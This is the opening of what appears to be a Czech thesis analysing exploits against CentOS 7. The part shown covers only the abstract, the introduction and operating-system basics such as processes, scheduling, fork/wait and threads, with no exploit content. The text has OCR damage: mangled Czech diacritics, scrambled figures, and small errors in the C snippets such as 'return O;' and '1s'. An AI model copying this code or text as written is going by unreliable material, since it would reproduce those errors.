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Abstrakt

Cilem této prace je analyza péti vybranych exploitti zamérujicich se na operacni systém
CentOS 7. V prvni ¢asti jsou predstaveny teoretické koncepty potfebné pro pochopeni
funkce exploiti. Mezi tyto koncepty patii operacni systém, jadro opera¢niho systému, pro-
ces, vlakno a virtualni pamét. Druha ¢ast je uz konkrétné zamérena na operacni systém
Linux a jeho architekturu. Treti ¢ast se zabyva kybernetickou bezpecnosti, pficemz jsou
uvedeny nejcastéjsi typy utokt, nejcastéjsi typy zranitelnosti a taky néastroje vyuzivané v
oblasti kybernetické bezpecnosti. Ctvrta ¢ast se zaméiuje na bezpecnost operacniho systému
Linux a jeho nejcastéjsim zranitelnostem. Posledni ¢ast této prace je vénovana podrobné
analyze exploitti a hleddnim exploiti.

Abstract

The aim of this thesis is to analyse five selected exploits targeting the CentOS 7 operating
system. In the first part, the theoretical concepts needed to understand the exploits are pre-
sented. These concepts include operating system, operating system kernel, process, thread
and virtual memory. The second part focuses specifically on the Linux operating system and
its architecture. The third part deals with cybersecurity, listing the most common types of
attacks, the most common types of vulnerabilities, and also the tools used in cybersecurity.
The fourth part focuses on the security of the Linux operating system and its most common
vulnerabilities. The last part of this thesis is devoted to a detailed analysis of exploits and
exploit searches.
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Kapitola 1

Uvod

Tato prace se zabyva analyzou péti vybranych exploiti zamérenych na operac¢ni systém
CentOS 7 a jeho jadro. Tti exploity jsou uréeny pro jadro a dva exploity zneuzivaji zra-
nitelnosti aplikaci. Jednotlivé kapitoly vysvétluji koncepty nutné pro pochopeni exploiti
a také témata, kterda s exploity souvisi. V posleni kapitole je uvedena detailni analyza
exploiti.

Druhé kapitola vysvétluje vyznam a funkci opera¢niho systému a jeho jadra. Uvedeny
jsou také architektury operacnich systému. V podkapitole tykajici se procesu se nachazi
popis a vyznam procesu, planovani procesi a také souvisejici struktury. Vedle procesu je
také vysvétlen koncept vlakna a jeho vyznam pii paralelnim zpracovani. Kapitola tykajici
se virtualni paméti popisuje dilezitost jejiho pouziti. Na konci kapitoly je vysvétlen koncept
strankovani, ktery tzce souvisi s virtualni paméti. V podkapitole vénujici se strankovani je
uveden vyznam tohoto konceptu v souvislosti s virtudlni paméti a s tim souvisejici struktury.

Treti kapitola se zabyva architekturou operac¢niho systému Linux a s tim souvisejicimi
koncepty. Vysvétleny jsou dulezité pojmy jako je procesor nebo aplika¢ni binarni rozhrani.
Je zde také uveden popis priubéhu systémovych volani a drovni provadéni instrukci na
procesoru.

Ctvrta kapitola se vénuje problematice kybernetické bezpe¢nosti. Do této problematiky
spadaji nejcasteji provadéné tutoky, nejcastéji zneuzivané zranitelnosti a také penetracni
testovani slouzici pro vyhodnoceni zabezpeceni systému. Déle je vysvétlen pojem exploit
a kapitola se mimo jiné vénuje i nastrojum vyuzivanych v oblasti kybernetické bezpec¢nosti.

Pata kapitola se zabyva bezpecnosti operac¢niho systému Linux. Do této oblasti spada
tradi¢ni model opravnéni a novéjsi model opravnéni nazvany shopnosti. Uvedeny jsou také
nejcastéjsi zranitelnosti jadra opera¢niho systému Linux.

Sest4 kapitola se vénuje vyhledavani a vyvoji exploiti. V kapitole jsou uvedeny nejzna-
méjsi databaze exploiti, nastroje vyuzivané pro vyhledavani exploitii nebo nastroje vyuzi-
vané pri jejich vyvoji a na konci podkapitoly jsou uvedeny drobné typy jak postupovat pri
vyvoji exploitil.

Posledni sedma kapitola je vénovana detailni analyze vybranych exploitii. Analyza je
provedena bud pomoci SystemTap skripti nebo sledovanim ¢innosti kédu.



Kapitola 2

Teoretické koncepty operacnich
systémiu

V této kapitole je predstaven operacni systém, jeho jadro a také architerktury operacniho
systému. Daéle jsou vysvétleny teoretické koncepty operacnich systému dulezité pro pocho-
peni exploitd, kterymi se tato prace zabyva. Mezi tyto koncepty patii virtudlni pamét,
proces nebo vlakno.

2.1 Co je operacni systém

Operacni systém je software (dale jen SW) slouzici jako mezivrstva mezi vrstvou, ktera
predstavuje hardware (dale jen HW) pocitace a vrstvou, kterd predstavuje aplikaéni pro-
gramy. Je také jednou z komponent pocitacového systému jak je uvedeno na obrazku 2.1.
Pocitacovy systém je déle slozen z HW, aplikacnich programu a uzivatele. [80] [75]

uzivatel

!

aplika¢ni programy
(kompildtory, prohlizec¢e web stranek, vyvojové sady, atd.)

{ { {

operacni systém

{ { {

hardware pocitace
(CPU, pamét, I/0 zafizeni, atd.)

Obrézek 2.1: Komponenty tvorici pocitacovy systém. Prevzato ze zdroje [80].

V pocitacovém systému bez operacniho systému by musely aplika¢ni programy zahrno-
vat kéd pro obsluhu HW, ¢imz by se znacné zvysila jejich velikost a zkomplikoval vyvoj.
Aplika¢ni programy vyuzivaji operacni systém k béznym ¢innostem jako je naptiklad ode-
slani sftového packetu nebo k vypisu informaci na monitor, pricemz se nemusi starat o HW.
Soucasti operac¢niho systému jsou ovladace zafizeni slouzici pro prevod pozadavku aplikac-
nich programi a operac¢niho systému na piikazy, kterym zafizeni rozumi. Néktré funkce
vykonava jadro operac¢niho systému jak je uvedeno v kapitole 2.2. Mezi zakladni funkce
poskytované opera¢nim systémem patii nasledujici: [75]



e Poskytnuti uzivatelského rozhrani umoznujici interakci uzivatele s opera¢nim systé-
mem. Dvéma zakladnimi typy uzivatelského rozhrani jsou CLI (okno terminalového re-
zimu) a GUI (grafické uzivatelské rozhrani). CLI predstavuje textové rozhrani pro za-
davani ptrikazti pomoci klavesnice. GUI predstavuje vizudlni rozhrani, které je mozné
ovladat pomoci klavesnice a mysi nebo také napiiklad pomoci dotykové obrazovky.

e Zajisténi spravy aplikaci. Tato sprava zahrnuje spousténi, planovani béhu na proce-
soru, obsluhu preruseni, spravu paméti a zpracovani chyb.

 Realizace vstup/vystupnich operaci HW zafizeni. Timto zafizenim muze byt napiiklad
tiskdrna, monitor nebo pevny disk.

e Poskytovani informaci o svém stavu a chybach.
e Zajisténi paralelniho zpracovani na viceprocesorovych systémech.

e Zajisténi spravy ovladaci zafizeni. Po identifikaci zafizeni nainstaluje operacni systém
pozadované ovladace zafizeni. V pripadé ovladace zafizeni pro tiskarnu muze aplikacni
program provést tisk i bez znalosti kodi nebo prikazi pro konkrétni tiskdrnu.

Existuji rizné typy operacnich systémi:

o Univerzalni operacni systém pro obecné pouziti bézici na mnoha zarizenich. Umoznuje
spusténi mnoha aplikaci, jako je napriklad databaze, webovy prohlize¢ nebo textovy
editor a umoznuje témto aplikacim sdilet HW zafizeni. Mezi tento typ operacnich
systému se fadi napriklad Microsoft, Mac OS, Unix nebo Linux.

e Mobilni operac¢ni systémy, které jsou urceny zejména pro chytré mobilni telefony a
tablety. Jsou navrzeny tak, aby byly efektivni, spotfebovavaly co nejméné vypocetnich
zdroju a zaroven poskytly dostatecné zdroje uzivatelskym aplikacim. Zaméruji se také
na rychlou uzivatelskou odezvu a zpracovani dat. Mezi tyto systémy patii naptiklad
Apple iOS nebo Google Android.

e Vestavéné operacni systémy urcené pro béh na specializovanych zatizenich vykonavaji-
cich konkrétni ¢innost. Jedna se napriklad o lékafska zafizeni nebo zafizeni nachazejici
se v letadlech. Jsou navrzeny s ohledem na spolehlivost a vykon. Mezi takové operacni
systémy patri Linux.

o Operacni systémy redlného ¢asu (RTOS) garantuji odezvu v rdmci definovanych ¢aso-
vych omezeni. Jsou uréeny napriklad pro prumyslové systémy kde slouzi pro ovladani
senzoru, motord a jinych zarizeni. Mezi tyto operacni systémy patii napriklad FreeR-
TOS nebo VxWorks.

Operacéni systémy jednoho typu mohou éasteéné sdilet vlastnosti operacnich systému
dalsiho typu. Napiiklad vestavéné operacni systémy mohou mit nékteré vlastnotsti operac-
nich systému realného c¢asu.

2.1.1 Implementace

Operacni systém se skladd z mnoha programi napsanych ve vice programovacich jazycich.
Pro vyvoj je pouzit predevsim programovaci jazyk C nebo C++ a mald ¢ast mize také po-
uzivat assembler. Pii vyvoji systémovych knihoven mohou byt pouzity jazyky vyssi trovné



jako je napriklad programovaci jazyk C++. Vyvoj pti pouziti jazyka vyssi trovné probiha
rychleji, kod je srozumitelnéjsi a 1épe se ladi. Vyssiho vykonu pri pouziti jazyka vyssi irovneé
muze byt dosazeno pouzitim vhodnych datovych struktur a algoritmu nebo optimalizacemi
provadénymi modernimi prekladadci. [80]

2.2 Co je jadro operacniho systému

Jadro je srdcem operac¢niho systému. Je to program umoznujici komunikaci mezi SW a HW
a ma primou vazbu na HW jak je uvedeno na obrazku 2.2. [32]

Software
(aplikace na uZivatelské trovni)

Jadro operacniho systému (Kernel)

Procesor
(CPU)

Obrazek 2.2: Propojeni jadra operacniho systému se SW a HW. Prevzato ze
zdroje [32].

Jadro je nacteno do hlavni paméti pocitace programem nazyvanym zavadécé, ktery se
muze nachdzet napiiklad na pevném disku nebo CD/DVD nosié¢i. Jadro po nacteni ¥idi
spousténi dalsich procesti operacniho systému. Proces je spustény program, pricemz dalsi
podrobnosti jsou uvedeny v nasledujicich kapitolach. Jadro a uzivatelské aplikace se nacha-
zeji v oddélenych pamétovych prostorech. Jadro se nachazi v chranéném prostoru jadra. Do
tohoto prosotoru nemaji pristup uzivatelské aplikace ani méné vyznamné ¢asti operacniho
systému. Uzivatelské aplikace se nachazeji v uzivatelském prostoru. [65] [80] [32]

Mezi hlavni ikoly jadra patii napriklad:

e Poskytuje aplika¢nim programtm pristup k perifernim zarizenim prostfednictvim
ovladact zarizeni. Perifernim zafizenim je naptiklad klavesnice nebo mys.

e Spravuje pamét jednotlivych procesti a umoznuje procesum pristup do paméti poci-
tacového systému.

e Spravuje procesy a umoznuje jejich synchronizaci, vzijemnou komunikaci a sdileni
prostiedkd.

e Rozhoduje o rozdélovani paméti mezi procesy v pripadé jejtho nedostatku.



2.3 Architektury operacnich systému

Operacni systém je rozsahly a slozity software a s ohledem na jeho spravnou funkcionalitu
a jednoduchou modifikovatelnost je nutné dobie navrhnout jeho architekturu. Dobrym po-
stupem pri vyvoji SW je rozdéleni kédu na mensi ¢asti s dobfe definovanym rozhranim a
stejné tak je tomu i pfi ndvrhu architektury operac¢niho systému, kdy je lepsi rozdélit systém
na moduly s definovanym rozhranim a funkcemi. V této kapitole jsou uvedeny vyuzivané
architektury operac¢nich systému. [80]

2.3.1 Monoliticka architektura

V pripadé monolitické struktury je architektura velice jednoduchéa. Kéd jadra je zkompi-
lovan do jednoho statického binarniho souboru a po spusténi bézi v jednom adresovém
prostoru. Na obrazku 2.3 je uvedena architektura operac¢niho systému Linux, ktera ma mo-
nolitickou strukturu. Kéd jadra Linuxu bézi v rezimu jadra v jednom adresovém prostoru.
Jadro Liuxu méa ovsem i prvky modularni architektury popsané v kapitole 2.3.4.

aplikace
glibc standardni c knihovna
rozhrani systémovych volani
souborové CPU
systémy planovac
sité spravce
(TCP/IP) paméti
blokova znakova
zafizeni zarizeni
ovladace zafizeni
hardware

Obrazek 2.3: Detailni architektura operac¢niho systému Linux. Prevzato ze zdroje
[80].

Mezi rozhranim systémovych volani a HW se nachazi jadro. Jadra jsou obtizné rozsiti-
telnd a komplikované se implementuji. Zmény provedené v jedné ¢asti systému mohou mit
vliv na funkci jinych casti. Stdle se s nimi setkavame i v modernich operacnich systémech
diky jejich rychlosti a efektivité.

2.3.2 Vrstevnatd architektura

Architektura je podobna modularnimu pristupu, ktery je uveden v kapitole 2.3.4. Operacni
systém je tvoren vrstvami, které v sobé zapozdiuji data a operace manipulujici s témito daty.
Nejnizsi vrstvou je HW a nejvyssi vrstva predstavuje uzivatelské rozhrani jak je zobrazeno
na obrazku 2.4.



vrstva N
uzivatelské rozhrani

vrstva 1

vrstva 0
hardware

Obrazek 2.4: Vrstevnata architektura operacniho systému. Prevzato ze zdroje
[80].

Vrstvy vyuzivaji pouze sluzeb poskytovanych nizsimi vrstvami. Tento pristup usnadnuje
testovani funkce vrstev. Pri vyskytu chyby se tato chyba nachazi v aktualné testované vrstve
za predpokladu, Ze jsou nizsi vrstvy odladény. Nevyhodou tohoto pristupu je pozadavek
na presné definovani funkce vrstev. Dalsi nevyhodou je nizsi vykon vzhledem k tomu, Ze
pozadavek uzivatelské aplikace na sluzbu musi prochazet nékolika vrstvami. Nejcastéji je
volen mensi pocet vrstev s vice funkcemi, coz poskytuje vyhody modularni architektury.
Vrstvend architektura je vyuzita napriklad v pocitacovych sitich.

2.3.3 Architektura mikrojadra

Méné vyznamné ¢asti jadra jsou presunuty do uzivatelského prostoru a jadro se stava men-
$im a bezpecnéjsim. Vyclenéné ¢asti jadra jsou spustény jako uzivatelské programy posky-
tujici sluzby. Timto zptisobem muze byt napiiklad spusténa sluzba souborového systému.
Pri selhani sluzby neni ovlivnéna funkce ostatnich sluzeb operacniho systému. Urceni ¢asti,
které maji byt vyclenény nemusi byt jednoduché. Mikrojadro zajistuje komunikaci mezi
sluzbami a uzivatelskymi aplikacemi pomoci zprav jak je uvedeno na obrazku 2.5. Uziva-
telsky program provadéjici souborovou operaci musi pomoci zprav komunikovat se sluzbou
souborového systému.
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aplikacni souborovy ovladac uzivatelsky
program systém zafizeni refim
N N N —
Zpravy ]
meziprocesova spra’\fa. @ rezim
komunikace pameti plénovac jadra
. mikrojadro (microkernel) A

hardware

Obrazek 2.5: Architektura mikrojadra. Prevzato ze zdroje [80].

Pridéni novych sluzeb do uzivatelského prostoru nevyzaduje zménu jadra a vyhodou je
tedy snadnd rozsititelnost operac¢niho systému. Vyhodou je také snazsi prenositelnost mezi
riznym HW. Nevyhodou mikrojader muaze byt nizsi vykon zpisobeny rezii pti predavani
ZPrav.

2.3.4 Modularni architektura

Tato metoda navrhu patii mezi nejlepsi. Jadro poskytuje zakladni funkce a ostatni funkce je
mozné priddvat pri spusténi nebo za béhu pomoci nacitetelnych moduli jadra (LKM). Jadro
napriklad implementuje algoritmy pro planovani béhu procesti na procesoru nebo spravu
paméti a pomoci modulu Ize do opera¢niho systému zavést ovladace zafizeni nebo podporu
nového souborového systému. Architektura je podobna vrstvené architektufe, protoze se ja-
dro skladé z ¢asti s definovany rozhranim, ale vyhodou je, Ze moduly mohou komunikovat se
vSemi ostatnimi moduly. Architektura se také podobéa architektufe mikrojadra, ale moduly
nemuseji pro komunikaci vyuzivat zprav, coz prinasi vyssi vykon. Jadro opera¢niho systému
Linux je diky této architekture modularni a dynamické a zaroven ma vyhody monolitické
architektury mezi které patii napriklad vyssi vykon. Vyhodou tohoto pristupu je také to,
ze pri pridani nové funkcionality zavedenim nového modulu neni nutné znovu kompilovat
kéd jadra.

2.3.5 Hybridni architektura

Operacni systémy jsou vétSinou spise kombinaci vice architektur. Naptiklad operacni sys-
témy Linux a Windows vyuzivaji z vétsi ¢asti monolitickou architekturu, kterda poskytuje
vysoky vykon. Déle vSak vyuzivaji i modularni architektury umoznujici dynamické pri-
davani novych funkci do jadra. Operacni systém Windows podporuje béh samostatnych
subsystému v uzivatelském rezimu, coz je typycké pro mikrojadrové architektury.

2.4 Proces

Proces predstavuje spustény program. Ke své ¢innosti vyzaduje rizné zdroje. Prikladem
takového zdroje je naptiklad pamét, ¢as procesoru nebo vstupné-vystupni zarizeni. V ope-
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ra¢nim systému se miize nachazet mnoho procest z nichz nékteré vykonavaji kod operacniho
systému a nékteré uzivatelsky kéd. Na obrazku 2.6 je uvedeno rozlozeni paméti procesu.
[80]

max
stack
(zasobnik)

l

t

heap
(hromada)

data

text

0

Obrézek 2.6: Rozlozeni paméti procesu. Prevzato ze zdroje [80].
Pamét procesu se sklada z nékolika ¢asti:

e V Casti text se nachéazi kéd.
e V Casti data se nachazi globalni proménné.
e V Casti heap se nachazi pamét dynamicky alokovana pri béhu programu.

e V Casti stack se nachdzi paméf zasobniku uréend pro docCasné ulozeni dat prii vo-
lan{ funkci. Mezi tato data patii napiiklad parametry funkei, lokdlni proménné nebo
navratové adresy.

Velikost ¢asti text a data je pevna a béhem provadéni programu se neméni. Velikost
¢asti heap a stack je proménliva. Cast heap se zvétSuje pii dynamické alokaci paméti a pii
dealokaci se tato ¢ast paméti zmensuje. Cést stack se zvétsuje pii volani funkei. Pii volani
funkce je do paméti stack vlozen aktivaéni zdznam obsahujici parametry funkce, lokalni
proménné a navratovou adresu. Pri dokonceni funkce je aktivacni zdznam z paméti odstra-
nén a velikost paméti stack se zmensuje. Cast stack se rozsifuje smérem k niz§im adresam
a ¢ast heap se rozsifuje naopak. Operacni systém musi zabranit prekryti téchto ¢asti.

Proces vzniké ze spustitelného souboru pfi dvojkliku na spustitelny soubor nebo za-
danim néazvu spustitelného souboru do prikazového radku. Spustitelny soubor predstavuje
seznam instrukci ulozeny na disku. Spustitelny soubor je pasivni entita, pricemz proces je
aktivni entita s pfidélenymi zdroji a programovym c¢itacem jehoz hodnota urcuje adresu
dalsi instrukce, ktera se ma vykonat. Z jednoho spustitelného souboru muze vzniknou vice
procesu, pricemz obsah ¢asti text jejich paméti je stejny, ale obsah ¢asti data, heap a stack
se lisi.

Proces muze slouzit i jako béhové prostiedi pro jiné programy. Proces preklada kod
programu na nativni strojové instrukce a je oznacovan jako interpret. Vykondvany program
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se oznacuje jako interpretovany a je napsan v nékterém interpretovaném programovacim
jazyce, mezi které patti Python, PHP nebo Ruby. Prikladem takového procesu je virtudlni
stroj Java (JVM), v rdmci kterého je vykondvan program napsany v jazyce Java. [80] [73]

2.4.1 Rozlozeni paméti programu v jazyce C

Na obrazku 2.7 je uvedeno rozlozeni paméti procesu a souvislost se zdrojovym kédem pro-
gramu jazyka C, ze kterého proces vznikl.

#include <stdio.h>

vysoké #include <stdlib.h>
argc, argv
adresy
stack (zasobnik)
l , ) |
int main( )
I — — L — — [int *values;
int i;
heap (hromada) - !
p —
neinicializovana [ |
data values = (int *)malloc (sizeof (int) *5) ;
inicializovana for(i = 0; i < 5; i++)
data values[i] = 1i;
nizké text return 0;
adresy }

Obrazek 2.7: RozloZeni paméti programu v jazyce C. Prevzato ze zdroje [80].

Cést data uvedend na obrazku 2.6 nebo 2.7 a je rozdélena na ¢ést neinicializovangch a
inicializovanych dat. Pamét s hodnotou 15, kterd je vyhrazena pro proménnou y se nachazi v
Casti inicializovanych dat. Paméf vyhrazena pro neinicializovanou proménnou x se nachazi
v Casti neinicializovanych dat. Parametry funkce main jsou ulozeny v paméti zasobniku.
Pamét alokovana funkci malloc se nachazi v paméti hromady.

2.4.2 Stav procesu

Proces se miize nachazet v jednom z péti stavi. Tyto stavu jsou uvedeny na obrazku 2.8.

terminated
(ukoncen)

preruseni

ready running
(pfipraveny) (b&ici)

odeslani pldanovacem

waiting
(Cekajici)

Obrézek 2.8: Stavy, ve kterych se muze proces nachazet. Prevzato ze zdroje [80].

1/0 nebo dokonéeni udalosti 1/0 nebo ¢ekani na udalost

Ve stavu new je proces vytvoren a nasledné prechazi do stavu ready. Po prifazeni k
procesoru prechazi do stavu running, ve kterém jsou provadény instrukce procesu na pro-
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cesoru. Pii zahajeni ¢ekani na dokonceni vstup-vystupni operace nebo pti zahdjeni ¢ekani
na urcitou udalost prechazi do stavu waiting. Po dokonceni vstup-vystupni operace nebo
pri vyskytu udalosti prechazi do stavu ready. Ze stavu running do stavu ready se miize
proces dostat také na zakladé prijmu preruseni. Ve stavu terminated je ukonc¢eno provadéni
procesu.

Na procesoru s jednim jadrem je mozné provadét v jednu chvili jen jeden proces. Ostatni
procesy pripravené na provadéni musi ¢ekat.

2.4.3 Blok rizeni procesu

Procesy jsou reprezentovany strukturou Process Control Block (PCB), kterd je uvedena na
obrazku 2.9.

stav procesu

Cislo procesu

citac programu

registry

omezeni paméti

seznam otevienych souborl

Obrazek 2.9: Blok Fizeni procesu. Prevzato ze zdroje [80].

Ve strukture jsou uloZeny informace dulezité pro spusténi nebo restartovani procesu.
Nachézi se v ni nasledujici informace:

e Stavy procesu byly popsany v ¢asti 2.4.2.

o Cita¢ programu udava adresu nasledujici instrukce, ktera se ma v ramci procesu pro-
vést.

e Hodnoty registr procesoru. Pii pozastaveni vykonavani procesu je nutné ulozit hod-
noty nachazejici se v registrech procesoru. Registry se 1isi v zavislosti na architekture
a patii mezi né napriklad indexové registry nebo registry pro obecné pouziti a dalsi.

o Informace souvisejici s planovanim béhu procesu, mezi které pari napriklad priorita
procesu.

e Informace souvisejici se spravou paméti, mezi které patti napiiklad tabulka stranek.

e Informace souvisejici s ictovanim, mezi které patii napiiklad ¢isla procest, mnozstvi
casu straveného vykonavanim procesti na procesoru.

e Vstup-vystupni informace, mezi které patii napriklad seznam otevienych souboru
procesu.
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2.4.4 Reprezentace procesii v systému Linux

Obecné struktura PCB popsand v ¢asti 2.4.3 je v opera¢nim systému Linux implemento-
vana pomoci struktury task struct, ktera se nachézi ve zdrojovych kédech jadra. Cést této
struktury je uvedena ve vypise 2.1. Struktura task_struct obsahuje stejné informace jako
PCB a navic mé odkaz na rodi¢ovsky proces, sourozenecké procesy a procesy potomki.

long state; /* state of the process */

struct sched_entity se; /* scheduling information */
struct tast_struct *parent; /* this process’s parent */
struct list_head children; /* this process’s children */
struct files_struct *files; /* list of open files */
struct mm_struct *mm; /* address space */

Vypis 2.1: Struktura task__struct v systému Linux. Prevzato ze zdroje [80].

Struktury task_struct aktivnich procesu jsou uloZeny ve dvojité propojeném seznamu
uvedeném na obrazku 2.10. Odkaz na aktualni vykonavany proces na procesoru je ulozen
v ukazateli current.

g N/
struct task_struct struct task_struct struct task_struct
informace o procesu informace o procesu e o o informace o procesu
L] L] L]
L] L] [ ]
L] L] L]
7 T L 4

current (aktudlni)
(aktudIné provadény proces)

Obrazek 2.10: Dvojité propojeny seznam aktivnich procest. Prevzato ze zdroje
[80].

2.4.5 Planovani procesi

Planovac¢ procesu vybira proces z mnoziny procesu pro provadéni na procesoru, tak aby byl
procesor co nejvice vytizen. Na jednom jadru procesoru muze byt v jednu chvili provadén jen
jeden proces. V pripadé vicejadrového procesoru muze byt v jednu chvili vykonavan vice nez
jeden proces, pricemz ostatni procesy musi ¢ekat. Celkovy pocet procesi nahazejicich se v
paméti je oznacovan jako stupen vicejddrového provadéni (multiprogramming). Na obrdzku
2.11 jsou uvedeny fronty ¢ekajicich a pripravenych procesi. Procesy jsou reprezentovany
strukturou PCB.
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hlavi¢ka fronty PCB PCB,

fronta zacatek
I : :
PHPravenyenl  konec registry registry

1¥

PCB, PCB,, PCB,

¥

/

fronta zacCatek 1
Cekajicich konec 1

Obrézek 2.11: Fronta ¢ekajicich a pripravenych procesu. Prevzato ze zdroje [80].

2.4.6 Planovaci fronty

Na obrazku 2.12 je uvedena fronta pripravenych a fronty ¢ekajicich procesa. U ¢ekacich front
jsou v kruzich uvedeny obsluhované prostredky a Sipkami je oznacen smér toku procesu v
systému. Po vytovieni je proces zafazen do fronty pripravenych. Planova¢ vybere néktery
proces z fronty pripravenych a prifadi mu jadro procesoru.

B ———
fronta pripravenych CPU
@ 1/0 &ekaci fronta 1/0 pozadavek
Casovy usek
vyprsel

Cekaci fronta .
potomek na ukongent vytvoreni procesu
ukoncen potomka

potomka

nastalo Cekaci fronta cekani na
preruseni na preruseni preruseni

Obrazek 2.12: Planovaci fronty. Prevzato ze zdroje [80].

V nasledujicim seznamu je uveden kratky vycet udalosti, ke kterym muze dojit pfi
provadéni procesu:

o Pri pozadavku na vstup-vystupni operaci je proces presunut do fronty urcené pro
procesy c¢ekajici na dokonceni vstup-vystupni operace.

o Pri vytvoreni nového procesu muze byt vytvarejici proces presunut do fronty urcené
pro procesy Cekajici na ukonceni potomki.
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e Pri vyprseni ¢asu vyhrazeného pro béh procesu na procesoru je proces zastaven a
vlozen do fronty pripravenych.

e Proces je ukoncen, je vyjmut ze vSech front a jeho prostiredky vcéetné PCB jsou dea-
lokovany.

2.4.7 Prepnuti kontextu

Vyména aktualné vykonavaného procesu za novy proces na jadre procesoru se nazyva pre-
pnuti kontextu. Pribéh prepnuti kontextu zahrnuje ulozeni informaci do PCB aktudlné vy-
konavaného procesu a obnoveni stavu PCB procesu, ktery bude vykonavan. Doba prepnuti
kontextu se muze lisit v zavislosti na architekture a ovliviiuje ji napriklad pocet registra
procesoru, slozitost operac¢niho systému nebo pritomnost specialnich instrukci umoznujicich
ulozeni nebo nacteni vSech registri. V soucasné dobé se tato doba pohybuje v fadu jednotek
mikrosekund.

proces P, operacni systém proces P,

preruseni nebo systémové volani
provédém’J—L

A |uloien|'stavu do PCB, |

necinny

| uloZeni stavu do PCB |

rnedinny prerugeni nebo systémoveé volani provadéni

[ T

|uloien|'stavu do PCB; |

I

. necinny

) | uloZeni stavu do PCB,|

provédém’lﬁ\—l

Obrazek 2.13: Prepnuti kontextu z jednoho procesu na druhy. Prevzato ze zdroje
[80].

2.4.8 Vytvoreni procesu

Nové procesy vznikaji z existujicich pomoci systémového volani fork. Nové vzniklé procesy
mohou vytvaret dalsi a vznika tak strom procesu uvedeny na obrazku 2.14. Proces vytvare-
jici nové procesy se nazyva rodicovsky a vytvorené procesy jsou potomky tohoto procesu. Ve
vétsiné modernich operacnich systému jsou procesy identifikovany pomoci celociselného je-
dine¢ného identifikdtoru PID (process identifier). V Linuxovém systému tvori kofen stromu
proces systemd jehoz PID je vzdy 1. Proces systemd je rodi¢em vsech uzivatelskych procesu
a zaroven je to prvni uzivatelsky proces spustény po startu operac¢niho systému. Ze stromu
procestt uvedeného na obrazku 2.14 je mozné zjistit nasledujici informace:

e Potomkem procesu systemd je proces logind uréeny pro spravu klientu.
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o Po prihlaseni klienta je vytvoren proces bash s identifikdtorem PID 8416.

e Ptes rozhrani piikazového fadku procesu bash spusti prihlaseny klient editor vim,
ktery predstavuje proces s identifikdtorem 9204 a proces ps s identifikdtorem 9298.

systemd
pid=1

bash sshd
pid = 8416 pid = 3610
ps tesh
pid = 9298 pid = 4005

Obrazek 2.14: Strom procesu v systému Linux. Prevzato ze zdroje [80].

Priklad programu vytvarejictho novy proces pomoci systémového volani fork je uve-
den ve vypise 2.2. Po dokonéeni systémového volani je v procesu rodi¢e do proménné pid
vlozena hodnota identifikitoru PID procesu potomka a v novém procesu potomka je do
proménné pid vlozena nulova hodnota, pricemz proces potomka je kopii rodi¢ovského pro-
cesu a obsahuje tedy stejné instrukce. Proces potomka pokracuje vykondavanim instrukci
nasledujicich po systémovém volani fork a systémovym volanim execlp prekryje svou pamét
programem /bin/ls. Rodi¢ovsky proces také pokracuje vykondvanim instrukei nasledujicich
po systémovém volani fork a pomoci systémového volani wait ¢ekd na dokonceni potomka.
Po dokonceni potomka explicitnim nebo implicitnim provedenim systémového volani exit
pokracuje rodicovsky proces instrukcemi néasledujicimi po volani wait.

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
pid t pid;
/* Fork a child process. */
pid = fork();
if (pid < 0) { /* Error occurred. */
fprintf (stderr, "Fork Failed");
return 1;
}
/* Child process. */
else if (pid == 0) { execlp("/bin/1s","1s",NULL); }
/* Parent process. */
else { /* Parent will wait for the child to complete. */
wait (NULL) ;
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printf ("Child Complete");
}

return O;

}

Vypis 2.2: Vytvoreni nového procesu pomoci systémového volani fork. Prevzato
ze zdroje [80].

Pribéh vytvoreni potomka je uveden na obrazku 2.15.

rodic (pid > 0)

rodi¢ pokracuje

rodic
potomek (pid = 0)
Obrazek 2.15: Prubéh systémového volani fork. Prevzato ze zdroje [80].

V opera¢nim systému Windows slouzi pro vytvoreni nového procesu funkce CreatePro-
cess. Na rozdil od systémového volani fork vyzaduje predani parametri a pii vytvoreni
nového procesu vyzaduje nacteni konkrétniho programu do paméti nového procesu.

2.4.9 Ukonceni procesu

Proces je ukonc¢en piimym nebo nepfimym provedenim systémového volani exit, kterému je
predan stav ukonceni. Stav ukonceni je obvykle celé ¢islo. Proces muze byt ukoncen i svym
rodicovskym procesem provedenim systémového volani. V opera¢nim systému Windows k
tomuto 1ucelu slouzi funkce TerminateProcess. Po ukonceni je do tabulky procesi vlozen
stav ukonceni a jsou dealokovany vsechny jeho prostfedky mezi které patri napiiklad ote-
viené soubory nebo fyzicka a virtualni pamét. Ukoncené procesy jejichz rodi¢ovsky proces
neprovedl systémové volani wait se oznacuji jako zombie. Provedeni systémového volani
wait v operacnim systému Linux je uveden ve vypise 2.3.

pid t pid;
int status;
pid = wait(&status);

Vypis 2.3: Cekéni na ukonéeni procesu potomka provedenim systémového volani
wait. Prevzato ze zdroje [80]

Po provedeni systémového volani wait je odstranéna polozka ukon¢eného procesu z ta-
bulky procesi. Do proménné pid je vlozen indetifikator ukonc¢eného procesu a do proménné
status je vlozen stav ukonceni. Pfi ukonéeni rodicovkého procesu miize v nékterych operac-
nich systémech dojit k ukonceni vSech procest potomkt nebo v operacnim systému Linux
se muze novy rodic¢em stat proces systemd nebo néktery dalsi proces, ktery se nasledné
stard o korektni ukonceni procesu.

2.5 VlIadkno

Drive bylo dosazeno paralelismu vytvorenim vice kopii stejného procesu. Systémové volani
fork je i pres vsechny optimalizace stile naroc¢nou operaci trvajici mnoho cykld procesoru
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a je také narocené z hlediska spotfebované paméti RAM. ReSenim niroéného vytvareni
novych procesu je koncept nazvany vlakno.

Vlakno predstavuje nezavislou cestu provadéni instrukei v rdmci procesu. Proces je sam
0 sobé reprezentovan jednim vldknem, ale mize také obsahovat vice vldaken jak je uvedeno
na obrazku 2.16. [80]

Operaé¢ni systém udrzuje pro kazdé vlakno datovou strukturu nazvanou struktura dlohy.
V této struktuie je napiiklad ulozen identifikator vldkna, ukazatel na zasobnik, priorita,
masky signalu, bity schopnosti a dalsi.

Vldkna sdili v rdmci procesu témér vSe az na zdsobnik, registr PC (program counter) a
také si udrzuji své hodnoty registrii procesoru.

Rozsah provadéni vlakna je funkce. Jak jiz bylo uvedeno, samotny proces je reprezento-
van vldknem, jehoz rozsahem provadéni je funkce main. Zasobnik funkce main se nachazi
v horni ¢asti pamétového prostoru. Zasobniky ostatnich vldken se nachéazi kdekoli v pameé-
tovém prostoru procesu. [76]

